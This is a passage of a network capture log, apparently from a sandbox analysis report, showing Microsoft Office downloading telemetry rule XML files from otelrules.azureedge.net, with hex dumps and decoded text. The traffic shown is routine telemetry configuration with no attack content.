2024-12-06 23:15:15 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-06 23:15:15 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-06 23:15:15 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-06 23:15:15 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:17 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:17 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:17 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 3fcd35f4-e01e-0052-4b02-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231517Z-r1cf579d778dc6d7hC1EWR2vs800000001a0000000008gq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:17 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:17 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:17 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:17 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c11b12be-901e-0048-4704-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231517Z-r1cf579d778zvkpnhC1EWRv23g00000000y0000000005w2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:17 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:17 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:17 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:17 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 115d5b31-c01e-0046-4bcb-452db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231517Z-1746fd949bdkw94lhC1EWRxuz400000004y000000000v8us x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:17 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:17 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:17 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:17 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b9950e54-401e-0015-4806-480e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231517Z-r1cf579d7788pwqzhC1EWRrpd800000000wg0000000099d0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:17 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:17 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:17 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:17 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2b116ba0-201e-0051-0503-487340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231517Z-r1cf579d778z4wflhC1EWRa3h000000000rg000000005w7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:17 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:19 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:19 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 27a1a40f-f01e-0096-7d0b-4810ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231519Z-r1cf579d778w59f9hC1EWRze6w000000011000000000111k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 23:15:19 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:19 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:19 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9879796e-101e-0034-5802-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231519Z-r1cf579d778zvkpnhC1EWRv23g00000000x0000000008s0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:19 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:19 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:19 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1e9ba10d-901e-0029-2907-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231519Z-r1cf579d7788pwqzhC1EWRrpd800000000w0000000009stu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:19 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:19 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:19 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:19 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: dbf49064-101e-00a2-1bc6-459f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231519Z-1746fd949bdtlp5chC1EWRq1v400000004y0000000000pzu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:19 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:19 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:19 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3de6f1c3-b01e-003d-6e01-48d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231519Z-r1cf579d778t5c2lhC1EWRce3w00000001a00000000088yv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
